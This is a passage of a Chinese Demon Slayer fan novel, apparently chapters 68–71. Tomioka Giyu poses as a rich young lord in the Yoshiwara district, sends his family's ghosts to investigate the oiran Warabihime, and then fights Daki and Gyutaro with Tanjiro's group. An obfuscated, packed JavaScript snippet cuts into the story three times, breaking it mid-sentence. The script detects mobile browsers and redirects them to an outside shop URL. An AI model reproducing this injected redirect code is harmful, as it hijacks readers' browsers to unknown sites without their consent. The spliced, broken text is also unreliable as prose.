店里的老板笑眯眯地迎上来:“帅哥,你看上去是个生面孔啊。” 富冈义勇瞥了她一眼,语气是难得的冰冷,还带有一丝若有若无的上位者气息:“怎样?这里不欢迎生面孔吗?” 老板身体一颤,脸上的笑容瞬间僵住。 附近的人也收回了打量的目光。 富冈义 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女孩的手有些颤抖,尽量保证自己话语平稳:“我会跳舞,还会弹三味线。” 富冈义勇伸手,端起茶杯:“那就先跳个舞来给这漫长的夜助兴吧。” 动作优雅,尽显高贵。 “是。”女孩起身,在屋里缓缓起舞。 饭菜被端进屋里,摆满了富冈义勇身前的桌子。 富冈义勇神色不变,端着茶水慢慢喝着,在看女孩表演的同时,偶尔会用筷子夹一些吃的。 估摸着时间差不多,富冈义勇让女孩停了下来,让她换成弹三味线。 女孩的三味线弹得很好,曲调婉转悠扬。 富冈义勇回想着艺伎要做的事,在差不多的时候喊她过来和他一起吃饭。 作为艺伎,懂得说话的艺术是最基本的技能。 女孩的心情也平复了下来,就开始和富冈义勇聊天。 游郭里有很多秘密,又不存在秘密。 为了接近京极屋的花魁,富冈义勇提前编造好了故事。 在和女孩聊天的过程中,他说自己是贵族名门之后,家中长辈自幼宠溺他,对他不加约束。 机缘巧合之下,他听说了游郭的纸醉金迷。 他自幼练习剑术,很少有能打得过他的人,便一个人来看看眼界。 “听闻游郭之中,花魁最是貌美,所会技艺也是与众不同。”富冈义勇唇角微挑,语气平淡,却又带着不容置疑,“我自然也要见识见识这里最美的花魁。” 富冈义勇握着酒杯,指尖微微转动,轻轻一笑:“我很想看看,游郭会给我怎样的惊喜。” 在给富冈义勇倒酒的女孩又不禁颤抖着身体。 这是猎人盯上猎物的感觉。 富冈义勇看着女孩的样子,清浅一笑:“放心吧,我不会对你做什么。” 仿佛冰雪消融后的轻柔。 女孩愣住。 这位客人虽然看着不好惹,但笑起来的样子真的好漂亮。 比她见过的花魁还要好看。 69.第 69 章 富冈义勇成年后,偶尔会和其他成年的柱对酌几杯。一如他的饭量,他的酒量也不错。 他和女孩边喝酒边聊天,将编造的故事透露出去的同时,也打探着游郭的消息。 但女孩只是游郭最底层的人,知道的事情也不多。 一番交谈之下,夜已经过了大半,一壶酒也渐渐见底了。 富冈义勇装出喝醉的样子,半眯着眼,朝女孩挥挥手:“下去吧,我有些累了。” 女孩不着痕迹地松了口气:“是,客人还请好好休息。” 在女孩退出去之后,老板笑眯眯地走进来,让人撤走了没吃完的食物和酒水,还帮富冈义勇铺好床褥。 “客人,对我们这的服务可还满意?”老板笑意盎然。 游郭从不缺美人,不论是男人,还是女人。不提富冈义勇的阔绰,他的容貌与气质在游郭也是独一份的。 富冈义勇眉头微挑,话语带着一分醉意:“怎么?若我说不满意,你们还会退款不成?身为游郭的老板,尽说些无用的话,扰人清静。” 他身上的冷意因为酒气散了几分,更凸显出气质的华贵。 老板一时语塞,笑着朝他赔罪:“是我多问这些。作为赔礼,您可以随意问我些问题,我酌情为您回答。您初来乍到,想必有很多疑问。” 富冈义勇低沉一笑,眼睛半眯着,用手支着脑袋,手指轻点脸颊:“来和我说说,游郭最美的花魁在哪?” “练最强的剑,饮最名贵的酒。” “来游郭,自然要见最美的人。” “花魁的容貌艳压群芳。那在你眼里,谁能称得上游郭最美的花魁呢?” 迷离的眼神,慵懒的嗓音,举手投足尽显他的高傲与贵气。 老板见过无数的美人,对上富冈义勇如今的样子还是难免失神,她轻咳一下,掩饰尴尬,缓缓道:“在这里,每一位花魁都有着不一样的美。但论最受客人欢迎的,还要属京极屋的蕨姬。” “但凡见过她的人,都会为她的美貌而沉沦。因为追求者众多,想要见她自然也不容易。” “不过您的气质超凡脱俗,出手也很阔绰,我相信您必能得偿所愿。” “蕨姬……”富冈义勇一只手托着下巴,另一只手放在膝盖上,“以草木为名,倒也有趣。” “我有些累了,明天让人告诉我京极屋在哪,我倒要看看这位最美的花魁是何种模样。”富冈义勇伸了懒腰,“你们这些人没事就下去吧,之前给你的钱袋足够付这一晚的费用了,剩下的也不用找了,多余的就算赏你们的。” 老板脸上的笑意更加明显了,带着人退出房间:“多谢客人,还请您好好休息。” 富冈义勇打了个哈欠,朝他们挥了挥手。 等人出去,他掀开被子就躺了进去。 在外面只有正常的走动声时,富冈义勇睁开了眼。 眼神清醒,并无半分醉意。 这个蕨姬的身份一定不简单。 根据紫藤花家族的调查,游郭存在着传闻,说这里的花魁经常变动,但总有一个美得出奇,性格却像蛇蝎的花魁,而她们的名字都带着一个“姬”字。 传闻只是传闻,当不得证据。更何况蕨姬在五年前就成为了京极屋的花魁,中间一直很安稳,没闹出什么事。 富冈义勇联想到之前八位柱进行的联合围杀,在那之后,鬼的动作就开始了收敛。 如果这个蕨姬真的是鬼,行事不该如此张扬才对。 还是说,作乱的并非鬼,而是人? 屋子没有窗户,门外又是人,他不好出去调查。 富冈义勇思考了一会,坐起来。 他压低声音说:“爸爸,妈妈,姐姐,我需要你们帮忙,我就碰一下彼岸河水,让我能看见你们。” 富冈义勇紧跟着接了一句:“我就当你们默认了。” 说完,他便闭上了眼。 彼岸河水无形无质,在现实中无处不在,却会避开生者的灵魂。 富冈义勇现在要做的,就是主动去碰彼岸河水。 他坐在屋里,闭着双目,一动不动。 他仔细感受着周围一切,然后抬手,指尖在空气中轻轻一点。 富冈义勇睁开眼,就看到了家人。 还不等他叫人,富冈茑子就直接拍他的脑袋:“好啊,听不见我们说话就是我们默认是吧?” 富冈义勇的母亲也很是不赞同:“万一这个水把你又带走怎么办?你的灵魂又回不去怎么办?怎么行事这么鲁莽?” 富冈义勇父亲安抚家里的两个灵魂:“义勇现在行事稳重多了,没把握的事他肯定不会做的。” “我不会再做让你们难过的事情。”富冈义勇举起右手表示他赞同爸爸的话。 富冈茑子按下他的手:“你没发言权。” 富冈义勇父亲走过去,乐呵呵地问:“儿子,需要我们给你帮什么忙啊?” 富冈义勇母亲拍了下富冈义勇父亲的胳膊,也凑过去:“我们只是灵魂,需要我们做什么?” 富冈义勇抬头看向家人,声音很轻,也很小,语气是一如往常的平缓与冷静,没有半分刚刚的张扬:“想让你们帮我去京极屋看看。鬼能伤人,伤不到灵魂。我现在不方便出去,想知道那个蕨姬是鬼还是人。” “妈妈,姐姐,你们愿意帮我去调查看看吗?” 海蓝色的眼眸无比纯净,让人无法拒绝他。 富冈茑子揉着富冈义勇的脑袋,笑着和他商量:“义勇,想让我们去也行啊。用你刚刚伪装的那个性格来和我们重新说下。” 富冈义勇低下头,移开视线,轻声回答:“你们知道的,我出发前请教了宇髓先生,那些都是他教我怎么做的。” 富冈义勇母亲轻轻叹气:“要是我们没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366326|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早早离开你,你现在说不定就是这样子。” 自信,优雅,举手投足里都带着贵气。 若是在爱中长大,富冈义勇未必不会如此。 富冈义勇知道家人总会因他们的逝去而内疚,为了调节气氛,他轻轻咳了下,闭了闭眼。 等再睁开时,他的气质就发生了变化。 富冈义勇唇角微挑,伸手握住母亲和姐姐的手,轻轻晃了晃:“妈妈,姐姐,我想要知道京极屋的信息,帮我去看看?” 家中长辈宠溺他,从不会拒绝他的任何请求。 凡他想要,总会得到。 那双海蓝色的眼睛依旧纯净,却带了暖色,让看到的人觉得自己被太阳雨包裹,温暖而和煦。 三个灵魂的心一下子就软了下来,富冈茑子的眼睛都变红了。 “好好好。”富冈义勇的母亲也擦了擦眼角,拉着富冈茑子的手就穿墙飘出去了。 “儿子,还有我呢,来对着爸爸也说一句。”富冈义勇的父亲站到他的身前。 富冈义勇无辜地眨了眨眼,又变回平时的他:“爸爸,这里是游郭,你不适合乱跑,就跟在我身边休息吧。” “……”富冈义勇的父亲没感情地“哦”了一句。 小剧场: 看着富冈义勇演戏的家人们 富冈茑子拽着母亲的袖子,语气激动:“这个义勇好帅气啊!” “这个举动,这个语气,要不是咱们一直看着他,真以为他是哪个小少爷跑来了。” 富冈义勇的母亲轻轻拍了下富冈茑子的手:“我和你爸还活着那会,你弟就是个小少爷。” “是我们走得太早,没办法护着你们。”富冈义勇母亲很是愧疚。 富冈义勇父亲用胳膊怼了怼爱人:“都变成灵魂了,就不想那些了。好好欣赏咱儿子的演技。别说,这演得真自然。” “宇髓先生教得好,完全将义勇的气质体现出来了。”富冈茑子在旁边点评,“就是这个手还能再自然点,语气可以再张扬点,这么说话太冷了,暖一点好。” “暖了就吓不住人了,这样就挺好。”富冈义勇母亲很是满意。 “说起来义勇的钱够在这里用的吗?”富冈义勇父亲有些担心,“当初我和你.妈留下的资产虽说不少,但这里是个销金窟,多少钱都不够花吧。” 富冈茑子想了想:“这些年鬼杀队给的钱不少,义勇也没怎么花,应该够用吧?” “鬼杀队的主公看上去挺好的,或许会给报销?”富冈义勇母亲猜测。 另外两个人点点头,觉得有道理。 不再担心的三个人继续欣赏着不一样的富冈义勇。 在鬼杀队里,是谁连彩虹都没有看到,还要报销一大笔钱呢? 真难猜呢。 “阿嚏。”正在处理工作的产屋敷耀哉揉了下鼻子,紧了紧身上的衣服。 70.第 70 章 富冈义勇的母亲和富冈茑子在外面晃荡了一圈,找到了那个叫京极屋的店。 现在已经是深夜,街上和店里都还很热闹。 两个人飘啊飘,听着店里的人谈话,慢慢找到了蕨姬的屋子。 和其他人的屋子相比,蕨姬的房间没有一丝光亮。 房间里并没有人,空空荡荡的。 “这里是个背阴处,在白天也不会有太阳照过来。”富冈义勇母亲从窗户飘出去看了看。 富冈茑子观察着房间里的摆设,蹲下看着地面:“这些东西看上去都很正常,角落里也没有血迹。” “如果这个蕨姬是鬼的话,可能是个爱干净的鬼。”富冈义勇母亲猜测。 “妈妈,我们要在这里等这个蕨姬回来吗?”富冈茑子站起来,问母亲。 富冈义勇母亲想了想:“茑子你回去和义勇简单说下这里的情况,我在这里等着。” 还不等富冈茑子反驳,她就继续道:“灵魂无法影响现世,生者更无法伤害灵魂。作为母亲,我不想让义勇再受伤了。现下我能做到,自然要帮他调查。” 富冈义勇母亲揉了揉富冈茑子的头:“别担心我,也让义勇别担心。如果有什么发现,我会去找你们的。毕竟,只要义勇还在思念我门,我就一定能找到他。” 富冈茑子抱了抱母亲:“妈妈还是要小心。” “嗯。去吧。”富冈义勇的母亲留在屋里,静候着蕨姬的归来。 等到富冈茑子回去,富冈义勇已经睡着了。 赶了一天路,喝了一壶酒,还见到了思念的家人,困意和疲惫很快就涌了上来。 知道母亲和姐姐不会有危险,富冈义勇揉了揉眼睛,给父亲说了一下,就钻进被子里休息了。 富冈义勇父亲守在他的身边,嘴角弯了弯,轻抚着他的头发。 睡吧。 富冈茑子飘进屋里,见富冈义勇已经睡熟了,就安静坐到父亲旁边。 她压低声音:“妈妈留在那边等蕨姬回来,让我先回来找义勇。” 富冈义勇父亲没有意外,点点头:“等义勇睡醒再告诉他吧。白天没有休息,晚上又演了这么久的戏,也是累坏了。” “希望这次的任务能顺利解决。”富冈茑子轻轻祈祷。 日升月落。 富冈义勇醒了过来。 房间中除了他以外,并没有其他人或者灵魂。 他轻轻在心里叹气,装作还没睡醒的样子,望着天花板。藏在被子里的手指,又是虚空一点。 他眨了下眼,家人的灵魂便映入眼帘。 富冈茑子用手支着脸颊:“这迷糊样子,真是看多少次都不会腻。” 富冈义勇扭头看着姐姐,轻声低语:“姐姐,我醒了,也能听到。” 富冈茑子尴尬地笑笑,又反应过来什么:“你还能看得我们?” 富冈义勇老实回答:“刚刚又碰了一下彼岸河水。” “我没有不舒服,也没有觉得哪里异常。” 富冈茑子板着脸,捏自家弟弟的脸:“你又偷偷乱碰彼岸水。” 因为碰了彼岸河水的缘故,富冈义勇能感受到姐姐的触碰,他吃痛地闭着眼:“姐姐,疼……” 富冈茑子轻哼一声:“知道疼就好,下次不许再乱来,知不知道?” 富冈义勇捂着脸,十分委屈:“我有分寸的。” “说起来,妈妈呢?我怎么没看到她。”富冈义勇没在屋里看到母亲。 “一晚上没见,义勇就想妈妈啦?”富冈义勇母亲飘进屋里,脸上的表情很是慈祥。 富冈义勇点头。 富冈义勇母亲笑得更开心了,下一秒表情就变得严肃起来:“义勇,那个蕨姬确实不是人类,是鬼。” “她应当是外面吃的人,回来的时候我见她胳膊上沾着血,眼睛里还刻着上弦六的字样。” 富冈义勇皱眉,又是一个上弦鬼吗? “她的周身有一条飘带悬浮着,血鬼术很有可能也和这个带子有关系。义勇,你要多加小心。”富冈义勇母亲语气凝重,“我顺着她回来的方向找了找,发现有一个地方怨气很浓。” “但那里是一片平地,我就往地下找了找,果然发现了一个地下空洞。” “里面散落着不少尸体骨骸,还有不少带子飘在洞里,有些带子上面还画着人类的样子。” “我和逗留在那里的灵魂聊了聊,他们都说那个鬼喜欢美人,然后把他们困在飘带里,再找时间吃掉。” 富冈义勇的眉头皱得更紧:“带子的人都还活着,我需要尽快把他们救出来。但现在还是白天,若是贸然救人,很有可能打草惊蛇。看来得叫人过来帮我一起了。” 富冈义勇的母亲将这个位置怎么去告诉富冈义勇,又让他多加小心。毕竟在她眼里,现在的义勇无疑很好看。 富冈义勇抱了抱母亲:“我知道了。妈妈,辛苦你了。” “既然确定有上弦鬼,那就杀了便是。”他站起身,整理了一下衣服。 他看着家人,微微笑笑:“我这次,会努力不让自己受伤的。” 长发垂在富冈义勇的身后,海蓝色的眼睛像是发着光,低调奢华的衣服没有夺走人的目光,反而衬出他的气质。 “再见了,爸爸,妈妈,还有姐姐。”富冈义勇闭上眼,将彼岸河水赶出了他的海面。 为了能够专心战斗,富冈义勇不能让彼岸河水影响到他。 天已经大亮,富冈义勇直接推门走了出去。 店里很安静,大部分人都还在休息。 在门口的老板看到富冈义勇,殷勤地凑过来:“客人可是想去找京极屋?” 富冈义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369723|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勇瞥她一眼,不曾言语。 老板笑着道歉:“是我多此一问。客人沿着这条街往前走,在第三个路口向右拐,第二个路口向左拐,右手边第一家就是了。” 富冈义勇颔首:“我记下了。” 他从腰间拿出一枚宝石,随手丢给老板:“赏你的。” 老板捧着宝石眉开眼笑,目送富冈义勇离开。 富冈义勇没有直接去京极屋,七扭八拐后,去了紫藤花家族,让家族的人派鎹鸦去求援。 为了不打草惊蛇,他不能贸然去救人。 救人和杀鬼需要同时行动,他现在只能等其他人过来一起。 “宽三郎,你有没有好好休息?”富冈义勇摸着宽三郎的脊背。 宽三郎连忙点头:“当然有,我还想陪义勇你到退休的。” 富冈义勇温和笑笑:“好啊,我记住了。” 鎹鸦的寿命比一般的乌鸦要长。若是没有意外,寿命最长的鎹鸦活了三十年之久。 但对鎹鸦和鬼杀队的队员来说,他们的生活里从不缺意外。 等这边的消息传到总部,已经是中午了。 收到消息的队员看了眼分布图,发现离富冈义勇最近的队员是灶门炭治郎他们三个。 但他们只是新人,完全对付不了上弦鬼。 除了他们外,离得最近的柱…… 能赶在天黑之前过去的一个也没有啊! 特训刚结束不久,除了接了任务的富冈义勇,几乎全部都去巡查各自负责的区域了。 队员比对了所有柱离游郭的距离,选出最近的一位,立刻让鎹鸦传信。 蛇柱伊黑小芭内,他现在是离富冈义勇最近的那一个。 只是按照他的距离,传信过去再加上赶路的时间,最快也要到第二天早上。 队员十分忧心,又传了一封信出去,让离得最近的灶门炭治郎三个人过去帮忙。 三人组虽然是新人,但实力都不凡。水柱大人提到需要人去救幸存者,他们或许能胜任这件事。 决策者需要第一时间下出决定,但为了以防万一,队员交代了一下工作,就去找了产屋敷耀哉,询问她这样的决定是否正确。 产屋敷耀哉思考了片刻,安抚队员:“不必担心。义勇作战经验丰富,炭治郎他们的实力比起一般的新人来说也要强上不少,我相信他们会平安无事。” 队员松了口气:“我知道了。劳烦主公了,我先回去工作了。” 产屋敷耀哉点头,目送他离开。 他的脸上也多了些许凝重。 上弦之六。 这次义勇没有带着药剂,但他的实力在柱中也名列前茅。 炭治郎的日之呼吸还没人教他,但若只是负责救援一事,他们应当能为义勇添一份助力。 要平安啊,孩子们。 71.第 71 章 富冈义勇在等待救援的时候没有闲着,他装作好奇的样子,在游郭里四处闲逛。 他没有换回队服,依旧穿着那套宽松的衣物。不过为了以防万一,他将日轮刀藏在了身上。 走到母亲说的那个地方时,他仔细地观察着是否有其他途径可以进到地下。 很可惜,除了凿出一条通道,富冈义勇并没有找到其他方式。 富冈义勇在心里轻叹。 这个戏,还得继续演。 白天的街上没什么人,宽三郎就直接飞下来,落到富冈义勇身上:“义勇,收到消息,炭治郎一行人正在往这里赶。” 富冈义勇的神色未动,询问:“他们怎么来了?” “收到求援的蛇柱赶过来要到明天早上,总部担心你的安危,便让炭治郎他们先赶过来支援了。”宽三郎道。 富冈义勇思考着,摸了下宽三郎的头:“我知道了,那就让炭治郎他们去救人,我去找上弦鬼。等他们到地方时,给我一个信号,我会和他们同时动手。若有意外,让他们第一时间把敌人引到我这边,务必保证自己和人质的安全。” 宽三郎点头,飞走传信去了。 富冈义勇在街上晃悠了很久,一直到天色变暗,他才慢慢走到京极屋,问门口的服务人员:“我听闻你们这里有最美的花魁,若是我想见她,该怎么做?” 清冷的声线,俊美的面容,低调奢华的衣物,无一不彰显着他的与众不同。 门口的女子有些脸红,娇羞地回答:“客人想见蕨姬花魁可没那么容易。” 她指了一个地方:“那里可都是蕨姬花魁的追求者。只有合蕨姬花魁的眼缘、资产也丰厚的人,才能让花魁迎客。” 富冈义勇嘴角微扬:“我自然是能让这位花魁出门迎客之人。” 他朝女子指的方向走过去,找了个座位坐下来。 店里的人为他端上好酒好菜,询问他是否还要什么。 富冈义勇端着酒杯,指尖微微转动:“我要见那蕨姬花魁。” “客人,还请在这里静候。若您合蕨姬花魁的眼缘,自当有人来为您带路。” 听到这个回答,富冈义勇发出一声轻笑,将酒杯随意地掷在桌上:“好,我等便是。” 动作潇洒肆意,气场十足,引来周围人纷纷侧目,其中不乏同性之间的嫉妒。 富冈义勇坦然自若,丝毫没有被影响到。 仿佛他生来便是万众瞩目之人。 富冈义勇没再喝酒,而是拿起筷子吃起东西。 举止优雅,自带一种贵气,甚至比台上表演的艺伎,更加赏心悦目。 简单填了填肚子,富冈义勇就又拿起了酒杯。 清澈的酒水在杯中摇曳。 富冈义勇的位置恰好对着窗户,可以看到外面的浓重夜色。 蕨姬等一下会露面,那就说明她在这里。炭治郎他们估计也快赶来了,地下应当遇不上上弦鬼,希望他们救人能够一切顺利。 富冈义勇将杯中的酒一饮而尽,就有一个年纪不大的女子走过来。 “这位客人,蕨姬花魁有请。”女子说得很是恭敬,“还请一次付清见面的费用。” 富冈义勇轻笑,将酒杯放下,然后起身,一个沉甸甸的袋子就被扔到女子怀里:“带路吧。” 女子没有打开袋子看,低着头,将袋子收好,然后为富冈义勇引路。 富冈义勇看了窗外一眼,什么动静都没有,心里不免感到一些疑惑。 听宽三郎的话,炭治郎他们天黑就该赶到了,路上有什么事耽误了吗? 被富冈义勇惦念的灶门炭治郎十分辛苦。 一个山里娃,没见过这么多人,控制不住本能,开始乱跑。 一个未成年,没见过这么多美人,乱花迷人眼,四处乱飘。 灶门炭治郎还记得他们是来支援的,一手一个,拽着不让他们乱跑。 “富冈先生还在等着我们去救人,不能耽误时间。”灶门炭治郎背着灶门祢豆子,右手拽着我妻善逸,左手拉着嘴平伊之助。 天王寺松右卫门飞着,用嘴啄两个不安生的人:“快点!快点!” 现在是晚上,躲在箱子里的灶门祢豆子直接踹开了箱子门,从哥哥的背上跳了下来。 灶门祢豆子攥拳,分别敲了一下嘴平伊之助和我妻善逸的脑袋。 见两个人冷静下来,她对着哥哥点点头:“嗯!” 灶门祢豆子现在还无法说话,就像是幼童一样。 灶门炭治郎回神,温柔地笑着:“祢豆子,辛苦你了,一会战斗交给哥哥就可以了。” 灶门祢豆子没有回箱子,而是走在前面,往人质被困的地点走。 该说不说,不愧是兄妹,两个人都很可靠。 灶门炭治郎见妹妹不愿意回箱子,也不再劝阻,带着小伙伴快速往那边赶。 他们要抓紧时间。 与此同时,富冈义勇见到了蕨姬。 她的容貌的确出众,有着夺人心脾的美感。 但知晓她就是鬼,富冈义勇的心中没有半分波澜。 为了调查情况,他将自身的气息隐藏得很好。即使是鬼,也察觉不出他是柱。 蕨姬在近距离看到富冈义勇时,眼中满是欣赏。 这么美的人,正适合被她吃掉。 蕨姬伸手,温和地请富冈义勇坐下:“还请坐。” 富冈义勇唇角微挑,潇洒地坐下:“蕨姬花魁倒是不辱游郭最美的花魁之名。” “刚刚饮了些酒,难免觉得有些闷热,还要辛苦花魁开窗通通风了。” 蕨姬最懂男人,知晓他们最爱甜言蜜语的温婉女人。她眯眼一笑,温柔地起身开窗:“长夜漫漫,客人还需好好享受。” 富冈义勇为自己倒了杯茶:“自当如此。” 蕨姬打开窗户,就听到了一阵巨大的声响,甚至还有雷电在空中闪烁。 为了打通到地下的通路,三个人齐齐用呼吸法开始挖洞,动作之大,不用额外发信号都让富冈义勇注意到了。 而站在窗户前的蕨姬自然也察觉到,皱起眉头,十分不满。 空气里有猎鬼人的气息,难得她碰见一个美人,想好好享用一下的。 而就在声音响起的同时,富冈义勇立马拿出日轮刀,二话不说就砍向蕨姬的脖子。 蕨姬察觉到杀意,迅速转身,却只看到凛冽的寒光,以及纯粹的蓝色。 她的脑袋掉了下来,发出疑惑的声音:“诶?” 富冈义勇收回刀,微微皱眉。 上弦鬼不该这么弱才对。 他看向窗外,大声喊:“宽三郎!让炭治郎他们小心!那边很可能有埋伏!如果救完人,就让他们快点撤离!” “知道了!”宽三郎飞走。 富冈义勇回身,看着开始哭起来的蕨姬。 因为脑袋被砍下来,她的伪装也散了,变回了鬼的本体。 “我可是上弦之六,怎么可能就这样被砍头!”蕨姬抱着脑袋,反应过来的她像是游戏输了的小孩一样哭闹着,“我是被无惨大人赐予数字的上弦鬼,是很强的!” 看到上弦鬼被砍了脑袋还没有化作灰尘,富冈义勇心生警惕,仔细地感受着周围。 “哥哥!” 随着这一话语落下,富冈义勇迅速拔刀上前。 蕨姬的背后,忽然出现了另一只鬼。 瘦骨嶙峋的。 新出来的鬼抱着蕨姬的脑袋和身体躲开了富冈义勇的攻击,又帮蕨姬将脑袋接了上去。 和蕨姬不一样,这个鬼的反应能力很快,这才是上弦鬼该有的实力。 刚刚那个鬼喊哥哥,难道上弦六是两个鬼吗? 看来想要杀死他们,得想办法同时砍掉他们的头了。 富冈义勇没有犹豫,再次拔刀上前。 他穿的衣服比不得队服,在战斗过程中被镰刀划到,露出胸口的伤疤。 新出来的鬼话很多,一会夸赞着富冈义勇的样貌,一会又惊叹富冈义勇身上的伤疤居然比他还多。 富冈义勇向来不和鬼废话,不论鬼说着什么,他都保持着沉默,双手握紧着刀,直接就打过去。 “我的名字,叫妓夫太郎。”妓夫太郎双手握着镰刀,将富冈义勇弹开,“我的妹妹她脑袋缺根筋,经常会被人欺负。作为哥哥,自然要把欺负她的人全部杀光。” “你是柱对吧?和以前那些柱都不一样,你看上去很强。”妓夫太郎咧着嘴,划伤身体,让血液流出来。 “喂,哥哥,自我介绍也不能把我落下啊,我的名字是堕姬。”堕姬站起身,飘带悬浮在她的周身,“这个人这么漂亮,一定要活捉下来给我吃啊。” 收起伪装的富冈义勇脸上恢复了平静,纯净的海蓝色眼睛像是漂亮的琉璃。他将衣服收紧,应对着兄妹俩的攻击。 兄妹俩都动了起来。 富冈义勇将堕姬的带子一一斩断,然后抬手挡住妓夫太郎的镰刀。 因为他们的打斗,房间已经被破坏得不成样子,店里的人受到惊吓,纷纷逃了出去。 富冈义勇事先交代了紫藤花家族,让他们负责人员的疏散,现下他只要专心战斗便好。 富冈义勇呼出一口气,扭动手腕,脚步轻点地面。 水之呼吸,三之型,流流舞。 他靠步法躲开妓夫太郎的攻击,又用刀刃砍断堕姬的带子。 富冈义勇的感官很敏锐,微微皱眉的同时,减弱了自身的呼吸。 空气中弥漫着毒素。 是那些血吗? 妓夫太郎的血鬼术是用自身血液结合镰刀一起攻击,有不少血液洒落在地面。 富冈义勇不自觉地握紧了刀。 又是用毒的鬼。 这一次,他一定不会失去意识! 富冈义勇身体后仰,躲开妓夫太郎手中的镰刀。 一定不能被划伤,那个刀刃上一定也有毒。 妓夫太郎将手中镰刀甩出去,分别从两个方向攻过去。 富冈义勇蹲下身,将刀在身前划过一个圆弧。 水之呼吸,十一型,凪。 海水无形,自当不只有平面一个形态。 镰刀打在柔软的水面,再也无法前进半步。 富冈义勇一跃而起,手中的刀猛地向下刺出。 水之呼吸,七之型,雫波纹击刺。 水刺从天而降,在漆黑的夜色里,泛着蓝色的光。 堕姬和妓夫太郎汇合,用带子将他们两个人包裹住,拦住了富冈义勇的攻击。 富冈义勇皱眉,看来得想办法把两个鬼分开了。 他计算了一下时间,离天明还有很长一段时间,伊黑估计赶不过来。 “富冈先生!我们来帮你了!”是灶门炭治郎的声音。 富冈义勇落到屋檐上,望向他们,斥责道:“这里不是你们该来的战场!” “单打独斗可不行。”嘴平伊之助握着双刀跳到富冈义勇身边。 我妻善逸也握紧腰间的日轮刀:“地下的人都救出来了,上面的人也都逃出去了。英雄救美这件事,可不能让你一个人做!” 灶门炭治郎带着灶门祢豆子和富冈义勇站到一起:“富冈先生,相信我们,我们能帮到你的!” 灶门祢豆子用力点头:“嗯!” 总归要想办法同时斩杀两个鬼,他一个人分身乏术,只能相信他们了。 富冈义勇上前一步,将他们护在身后:“他们是上弦之六,两鬼一体,要消灭他们,必须同时砍掉他们的头。” “男的交给我,会用带子攻击的女鬼就交给你们了。小心不要受伤,这两个鬼会用毒。”说完,富冈义勇就握刀冲了出去。 躲在带子里的兄妹两个人也出来了。 妓夫太郎拿着镰刀,挡住富冈义勇的斩击。 富冈义勇抬脚一踹,就将堕姬踢向了灶门炭治郎的方向。 水之呼吸可以防御,雷之呼吸可以斩断鬼的飘带,兽之呼吸的攻击力强。 就相信他们三个吧。 富冈义勇转动身体,用出水之呼吸的十之型,生生流转,当即划伤妓夫太郎的身体。 妓夫太郎自然不会束手就擒,立即用镰刀挡下攻击,找机会远离。 富冈义勇不会给他这个机会,手中的刀向前挥出。 水之呼吸,四之型,打潮。 漫天的水席卷而来,将妓夫太郎困在原地。 经过特训,灶门炭治郎的实力有了很大的进步,直接握紧刀就朝堕姬砍过去。 堕姬的攻击是飘带,我妻善逸将霹雳一闪快速用出,将这些飘带一一斩断。 嘴平伊之助和灶门炭治郎两方夹击,挥刀斩向堕姬的头颅。 就在这时,堕姬的额头忽然冒出来第三只眼,而地上的妓夫太郎则少了一只眼。 富冈义勇手腕用力,用刀砍向妓夫太郎的头。 忽然,有带子从天而降,朝富冈义勇攻来。 妓夫太郎将自己的眼睛分给堕姬一只,堕姬的实力就得到了增强,打退了灶门炭治郎的同时,还有余力来帮自己的哥哥。 富冈义勇反应迅速,立即躲开攻击。 他握刀的手再度挥出,却因为拉开的距离,只划伤了妓夫太郎的脖子。 妓夫太郎站起身,捂着流血的脖子。 “可恶啊,可恶。”他脖子的伤恢复得很快,恼羞成怒地拿着镰刀砍向富冈义勇。 金属碰撞的声音刺耳,谁都没有停下攻击的动作。 富冈义勇快速思考着,寻找着破局的办法。 不能和鬼拼体力,尤其空气里还有毒,拖得越久对他们越不利。 他用余光看了眼灶门炭治郎的战况。 我妻善逸和嘴平伊之助的行动开始变得缓慢,艰难地对抗着飘带的攻击。 灶门祢豆子和灶门炭治郎一起进攻,但和堕姬打起来,还是略显吃力。 趁着富冈义勇分神,妓夫太郎镰刀猛地攻过去。富冈义勇躲闪不及,胳膊给镰刀划伤。 镰刀上果然有毒,富冈义勇瞬间感到胳膊变得沉重起来。 他皱起眉头,眼中没有半分犹豫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376348|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 拖不到伊黑过来,那就只能这么做了。 富冈义勇的刀和妓夫太郎的镰刀撞上,他将镰刀弹开,然后看准方向,像踹堕姬一样,将妓夫太郎踹到堕姬不远处的地方。 他脚下用力,用七之型雫波纹击刺封住他们的去路。 “挡住所有飘带!”富冈义勇喊道。 灶门炭治郎和灶门祢豆子反应迅速,立即照富冈义勇说的去做,联手将所有飘带砍断。 